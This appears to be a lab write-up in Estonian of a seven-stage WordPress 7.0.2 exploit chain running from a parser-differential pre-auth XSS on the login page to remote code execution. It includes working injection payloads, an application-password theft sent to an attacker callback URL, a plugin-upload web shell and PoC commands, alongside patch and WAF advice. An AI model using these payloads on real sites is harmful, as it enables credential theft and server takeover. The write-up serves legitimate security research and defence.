Ainult volitatud katsetamine.
Kõik allpool kirjeldatu viidi läbi kohaliku labori vastu (WordPress 7.0.2 aadressil localhos). Ärge kasutage neid tehnikaid süsteemide vastu, mida te ei oma või millel pole teil selgesõnalist testimisluba.
Kokkuvõte
XSS2Shell ei ole üksik viga — see on seitsmeastmeline ärakasutamisahel, mis algab ühe märgiga (< millele järgneb tühik), möödudes kahest erinevast HTML-parserist WordPressi sisselogimislehel, ja lõpeb PHP käivitamisega serveris kasutajana www-data.
Miks see on ohtlik:
- 1. etapp ei nõua mingit autentimist — igaüks saab käivitada JavaScripti lehel
wp-login.php. - See asub WordPressi tuumikus — mitte pistikprogrammis; peaaegu kõik toetatud installid alates 2016. aastast on mõjutatud.
- See kasutab WordPressi enda koodi —
user-profile.js, REST JSONP, rakenduseparoolid, pistikprogrammi üleslaadimine — tööriistadena. - Täielik RCE on demonstreeritud ja WordPress on seda tunnistanud — kuigi see nõuab sisselogitud administraatori meelitamist ühe klikiga.
Käesolevas artiklis kirjeldatakse iga etappi meie kohaliku laboratooriumi ekraanipiltide abil.
Laborikeskond
git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 aadressil http://localhost:9080| Component | URL | Credentials |
|---|---|---|
| Vulnerable WordPress | http://localhost:9080 | admin / admin123! |
| Patched comparison | http://localhost:9081 | (optional) |
| Attacker listener | http://127.0.0.1:9090 | started by PoC script |

Igal WordPressi veebisaidil on avatud fail /wp-login.php. See lehekülg on kogu ahela sissepääsupunkt.
0. etapp: analüsaatori erinevus (põhjus)
Kui sisselogimine ebaõnnestub, kuvab WordPress veateates sisestatud kasutajanime. Kasutajanimi läbib kaks saniteerijat, mis ei nõustu omavahel selles, mis on "silt":
| Layer | Function | Sees < area as… |
|---|---|---|
| PHP | strip_tags() | Plain text (space after < = not a tag) |
| WordPress KSES | wp_kses_post() | Valid HTML element |
Päis kasutab tühikut pärast<:
< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">XHaavatavas WordPressi versioonis 7.0.2 jääb see puhastamisest puutumata ja muutub aktiivseks DOM-iks:
./scripts/demo-parser-diff.sh http://localhost:9080
Parandatud WordPressi versioonis 7.0.4 on sama kasulik koormus veateates HTML-koodiga esitatud – seal ei ole aktiivseid elemente.
See viga on eksisteerinud alates WordPress 4.7-st (2016) ja on jäänud märkamata aastatepikkustes turvaauditites.
1. etapp: autentimiseelne XSS (sisselogimist ei nõuta)
Sisestatud DOM-sõlmed vastavad valijatele, mida WordPressi enda fail „user-profile.js“ otsib sisselogimislehel (mis laaditakse parooli taastamise protsessi käigus):
.reset-pass-submit .wp-generate-pwklõpsitakse automaatselt lehe laadimisel- Klõps suunab
#color-picker'iledelegeeritud käitleja juurde - Guard check
user_id === checkuser_idläbib kontrolli, kuna mõlemad onmääratlemata - jQuery saadab POST-päringu aadressile
ajaxurl— kuidseda aadressiei ole sisselogimislehel olemas…
Kui me seda just maha ei löö:
<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>Element <area id=ajaxurl> muutub window.ajaxurl-iks. jQuery kutsub .toString() → tagastab href. WordPress REST tagastab JSONP → jQuery globalEval() → alert()käivitatakse WordPressi päritolul.

Esitage vorm (või avage demo/stage1-preauth-xss.html ja klõpsake Käivita 1. etapp):

Mõju ainuüksi sellel etapil: mandaatide andmepüük reaalses domeenis, seansi kasutamine, sama päritoluga API kutsed — ilma igasuguse autentimiseta.
2. etapp: Sotsiaalne insenerlus — administraatori klõps
Etapid 2–7 nõuavad, et sisselogitud administraator avaks ründaja kontrollitud lehe. See on hõõre, mis hoiab CVSS-i alla 10 — kuid on suunatud rünnakute puhul realistlik.
Administraator võib saada: "Teie seanss aegus — klõpsake siia uuesti autentimiseks."

Kui sellele klõpsatakse, avaneb ründaja lehekülg:
- Avab alamhüpikakna (
about:blank) - Suunab põhiakna WordPressi rakenduseparooli autoriseerimislehele
- Kirjutab XSS-vormi alampop-up-aknasse ja saadab selle automaatselt aadressile
wp-login.php

3. etapp: sama päritolu meetodi rakendamine (SOME) — automaatne heakskiitmine
Allakna XSS-koormus muudab JSONP-tagasikõne „alert “-ist järgmiseks:
window.opener.approve.clickWordPress REST pakendab vastuse:
/**/window.opener.approve.click({...})Käitusaeg lahendab window.opener (põhiaken) → .approve (nupp #approve) → .click(). Rakenduseparooli Kinnita nuppu klõpsatakse automaatselt — ilma igasuguse kasutaja sekkumiseta sellel lehel.

Pöörake tähelepanu lehel olevale tagasikõne-URL-ile: kasutajatunnused saadetakse aadressile http://127.0.0.1:9090/callback?...&password=[------].
4. etapp: Rakenduse parooli salvestamine
WordPress loob uue rakenduse parooli ja suunab kasutaja ründaja poolt määratud aadressile `success_url`, kus parool on lisatud päringustringisse:
http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXXRündajal on nüüd HTTP Basicu autentimise mandaadid WordPressi REST API jaoks — administraatori enda seansist, ilma et administraator oleks pärast esialgset lingi klõpsamist midagi trükkinud.
5. etapp: ründaja kontrolli all oleva lehekülje avaldamine
Kasutades varastatud rakenduse parooli, saadab ründaja POST-päringu aadressile /wp-json/wp/v2/pages ja avaldab lehe, millesse on sisse ehitatud JavaScript. Halduritel on õigus „unfiltered_html” – skriptimärgid jäävad alles.
6. etapp: Pistikprogrammi üleslaadimine administraatori kontoga
Ründaja JavaScript (mis töötab administraatori brauseris avaldatud lehel):
- Laadib alla faili
/wp-admin/plugin-install.php?tab=upload, et saada üleslaadimise nonce - POST-meetodiga saadetakse pahatahtlik ZIP-fail aadressile
/wp-admin/update.php?action=upload-plugin - WordPress salvestab selle kataloogi
wp-content/plugins/xss2shell/
Pistikprogrammi ei pea aktiveerima. Pistikprogrammide kataloogis olevad PHP-failid on otse veebist ligipääsetavad.
7. etapp: Koodi kaugkäivitamine
GET /wp-content/plugins/xss2shell/shell.php?cmd=whoamiVastus:
{ "rce": true, "user": "www-data", "output": "www-data\n" }
Ründaja käivitab nüüd veebiserveri kasutajana suvalisi käske – loeb faili wp-config.php (andmebaasi kasutajatunnused), teeb andmebaasist väljavõtte ja liigub horisontaalselt edasi.
PoC-terminali väljundi täielik tekst:

Kogu ahel ülevaatlikult
sequenceDiagram participant A as Ründaja server participant V as Ohvri brauser participant W as WordPress 7.0.2 Note over V,W: Administraator on sisse logitud V->>A: Avab andmepüügilingi (1 klikk) A->>V: Ründaja HTML + alamhüpikaken V->>W: Põhiaken → authorize-application.php V->>W: Alamaken saadab POST-iga XSS-päise wp-login.php-le W->>V: JSONP käivitab window.opener.approve.click Note over V,W: Kinnita-nuppu klõpsatakse automaatselt W->>A: Ümbersuunamine koos rakenduseparooliga A->>W: REST API avaldab lehe (Basicu auth) V->>W: Administraator külastab lehte → laadib üles pistikprogrammi ZIP-i V->>W: GET shell.php?cmd=whoami W-->>A: www-dataKui ohtlik see tegelikult on?
Mis on kindel (suur kindlus)
| Property | Value |
|---|---|
| Authentication for XSS | None |
| Affected installs | All WordPress 4.7+ before patch |
| Default-config exploitability | Stage 1 works out of the box |
| User interaction for XSS | Victim visits attacker URL |
Mis nõuab täiendavaid tingimusi (RCE-tee)
| Condition | Notes |
|---|---|
| Logged-in administrator | Must have active WP session |
| Social engineering | Admin must click attacker link |
| Application Passwords enabled | Default since WP 5.6; needs HTTPS or local env |
| Popup not blocked | Browser must allow window.open from user gesture |
Raskusastme kalibreerimine
| Metric | Value | Interpretation |
|---|---|---|
| CVSS 4.0 | 8.9 High | Full chain impact scored; not Critical because of UI:A |
| CVSS 3.1 | 6.1 Medium | Older scoring undervalues chained impact |
| EPSS | ~0.77% | Low predicted mass exploitation (Aug 2026) |
| CISA KEV | Not listed | No confirmed in-the-wild mass exploitation yet |
| Public PoCs | Multiple on GitHub | Exploitation window may shrink |
Kokkuvõttes: See ei ole ussitav nullklikiga RCE nagu Log4Shell. See on sügavalt tehniline, tuumiku tasandi haavatavus, mis mõjutab ~43% veebist, kus:
- 1. etapp üksi on tõsine eelautentimise XSS sisselogimislehel
- Täielik ahel muudab ühe administraatori klõpsu serveri kompromiteerimiseks
- Algpõhjus (parseri erinevus) kehtib iga koodialuse kohta, mis kasutab mitut HTML-parserit
WordPressi enda turvahoiatus märgib, et kaugkoodi käivitamine nõuab "ründajast sõltumatuid tingimusi" ja "edukat sotsiaalset manipuleerimist." See on täpne — kuid demonstreeritud ahel muudab need tingimused ühe lingiga saavutatavaks.
Kopeeri kogu ahel kohalikult
# 1. Käivita labor # 2. Luba rakenduseparoolid HTTP-l (ainult laboris) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Käivita PoC kuulaja python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. Brauseris: # a. Logi sisse administraatorina aadressil http://localhost:9080/wp-login.php # b. Ava http://127.0.0.1:9091/phishing-sim.html # c. Klõpsa "Open attacker page" (luba hüpikaknad) # d. Oota terminali väljundit, mis näitab shelli + whoamiKaitse
| Priority | Action |
|---|---|
| Immediate | Update to WordPress 7.0.3 or your branch's patched release (full list) |
| Verify | ./scripts/demo-parser-diff.sh should show no injected elements |
| Harden | Disable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins |
| Monitor | Watch for failed-login usernames containing < area patterns |
| WAF | Block < area / < div patterns on wp-login.php POST bodies |
Parandus lisab funktsiooni esc_html() kasutajanime juurde sisselogimise veateate korral, tagades, et seda stringi käsitletakse tekstina, mitte ei analüüsita uuesti HTML-ina.
Miks see on turvalisuse uurimise seisukohalt oluline
Iga lüli selles ahelas on eraldi võttes igav:
- Parseri erinevus → madala tõsidusastmega hooldustööd
- Sisselogimislehele on laaditud vale skript → madal
- JSONP-tagasikõne valideerimine regulaaravaldisega → keskmise raskusastmega
- Rakenduse parool suunamis-URL-is → medium
- Pluginakataloog käivitab PHP-koodi ilma aktiveerimiseta → teadaolev disainilahendus
Kokkuvõttes on tegemist CVSS-i hindega 8,9 ja shelliga.
Õppetund: XSS-leideid hinnates küsi "mis on sellel lehel juba laaditud ja mida see teeb, kui annan sellele õiged DOM-sõlmed?" Tõsidus on ahela, mitte üksiku vea omadus.

